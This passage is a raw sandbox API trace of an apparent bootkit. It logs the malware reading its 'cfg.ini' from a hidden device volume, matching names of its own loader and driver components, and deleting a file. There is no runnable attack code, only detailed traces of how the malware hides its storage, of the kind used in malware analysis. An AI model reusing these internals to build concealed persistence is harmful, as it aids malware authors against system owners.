AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.809] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.809] IdePortDispatch () returned 0x103 [0125.809] KeWaitForMutexObject () returned 0x0 [0125.809] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.809] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.809] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.809] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.809] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.809] IdePortDispatch () returned 0x103 [0125.809] KeWaitForMutexObject () returned 0x0 [0125.809] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.809] KeLeaveCriticalRegion () [0125.809] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.810] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.810] KeEnterCriticalRegion () [0125.810] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.810] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.810] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.810] KeLeaveCriticalRegion () [0125.810] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.810] KeEnterCriticalRegion () [0125.810] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.810] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0125.810] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfaca0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.810] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.810] KeLeaveCriticalRegion () [0125.810] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.810] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.810] KeEnterCriticalRegion () [0125.810] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.810] ExFreePoolWithTag (P=0xfffffa8003bf4450, Tag=0x0) [0125.810] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.810] KeLeaveCriticalRegion () [0125.810] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.810] ReleaseMutex (hMutex=0xf0) returned 1 [0125.810] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.810] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0125.810] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.810] KeEnterCriticalRegion () [0125.810] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.810] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.810] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.810] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.810] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.810] IdePortDispatch () returned 0x103 [0125.810] KeWaitForMutexObject () returned 0x0 [0125.811] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.811] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.811] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.811] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.811] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.811] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf9830 [0125.811] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.811] KeLeaveCriticalRegion () [0125.811] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.811] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.811] KeEnterCriticalRegion () [0125.811] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.811] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.811] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.811] KeLeaveCriticalRegion () [0125.811] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.811] KeEnterCriticalRegion () [0125.811] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.811] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.811] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.811] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.811] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0125.811] IdePortDispatch () returned 0x103 [0125.811] KeWaitForMutexObject () returned 0x0 [0125.811] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.811] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.811] KeLeaveCriticalRegion () [0125.811] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.811] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.811] KeEnterCriticalRegion () [0125.811] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.811] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cf0000 [0125.811] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.811] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.811] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.811] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.811] IdePortDispatch () returned 0x103 [0125.812] KeWaitForMutexObject () returned 0x0 [0125.812] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.812] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.812] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.812] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.812] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.812] IdePortDispatch () returned 0x103 [0125.812] KeWaitForMutexObject () returned 0x0 [0125.812] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.812] KeLeaveCriticalRegion () [0125.812] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.812] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.812] KeEnterCriticalRegion () [0125.812] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.812] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.812] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.812] KeLeaveCriticalRegion () [0125.813] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.813] KeEnterCriticalRegion () [0125.813] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.813] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0125.813] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf9f20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.813] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.813] KeLeaveCriticalRegion () [0125.813] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.813] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.813] KeEnterCriticalRegion () [0125.813] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.813] ExFreePoolWithTag (P=0xfffffa8003bf9830, Tag=0x0) [0125.813] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.813] KeLeaveCriticalRegion () [0125.813] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.813] ReleaseMutex (hMutex=0xf0) returned 1 [0125.813] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0125.813] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0125.813] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0125.813] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0125.813] KeEnterCriticalRegion () [0125.813] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.813] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.813] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.813] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.813] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.813] IdePortDispatch () returned 0x103 [0125.813] KeWaitForMutexObject () returned 0x0 [0125.813] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.813] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0125.813] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.813] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.813] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.813] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0125.813] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0125.813] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.814] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.814] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0125.814] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.814] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.814] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.814] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.814] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.814] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.814] KeLeaveCriticalRegion () [0125.814] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.814] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0125.814] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0125.814] KeEnterCriticalRegion () [0125.814] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.814] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.814] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.814] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.814] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.814] IdePortDispatch () returned 0x103 [0125.814] KeWaitForMutexObject () returned 0x0 [0125.814] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.814] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0125.814] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.814] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.814] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.814] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0125.814] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0125.814] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.814] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.814] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0125.814] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.814] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.814] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.814] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.814] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.814] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.814] KeLeaveCriticalRegion () [0125.814] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.814] ReleaseMutex (hMutex=0x100) returned 1 [0125.814] Sleep (dwMilliseconds=0x2bf20) [0125.820] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6e2fc930, dwHighDateTime=0x1d24fa4)) [0125.820] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0125.820] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.822] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0125.822] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.822] KeEnterCriticalRegion () [0125.822] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.822] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.822] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.822] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.822] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.822] IdePortDispatch () returned 0x103 [0125.822] KeWaitForMutexObject () returned 0x0 [0125.822] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.822] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.822] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.822] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.822] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.822] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf8a50 [0125.822] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.822] KeLeaveCriticalRegion () [0125.822] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.822] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.823] KeEnterCriticalRegion () [0125.823] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.823] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.823] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.823] KeLeaveCriticalRegion () [0125.823] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.823] KeEnterCriticalRegion () [0125.823] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.823] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.823] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.823] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.823] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0125.823] IdePortDispatch () returned 0x103 [0125.823] KeWaitForMutexObject () returned 0x0 [0125.823] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.823] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.823] KeLeaveCriticalRegion () [0125.823] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.823] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.823] KeEnterCriticalRegion () [0125.823] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.823] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d03000 [0125.823] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.823] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.823] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.823] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.823] IdePortDispatch () returned 0x103 [0125.823] KeWaitForMutexObject () returned 0x0 [0125.823] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.823] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.824] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.824] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.824] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.824] IdePortDispatch () returned 0x103 [0125.824] KeWaitForMutexObject () returned 0x0 [0125.824] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.824] KeLeaveCriticalRegion () [0125.824] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.824] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.824] KeEnterCriticalRegion () [0125.824] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.824] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.824] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.824] KeLeaveCriticalRegion () [0125.824] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.824] KeEnterCriticalRegion () [0125.824] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.824] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0125.824] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf9f20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.824] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.824] KeLeaveCriticalRegion () [0125.824] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.825] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.825] KeEnterCriticalRegion () [0125.825] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.825] ExFreePoolWithTag (P=0xfffffa8003bf8a50, Tag=0x0) [0125.825] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.825] KeLeaveCriticalRegion () [0125.825] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.825] ReleaseMutex (hMutex=0xf0) returned 1 [0125.825] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.828] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0125.828] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.828] KeEnterCriticalRegion () [0125.828] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.828] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.828] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.828] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.828] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.828] IdePortDispatch () returned 0x103 [0125.828] KeWaitForMutexObject () returned 0x0 [0125.828] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.828] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.828] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.828] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") 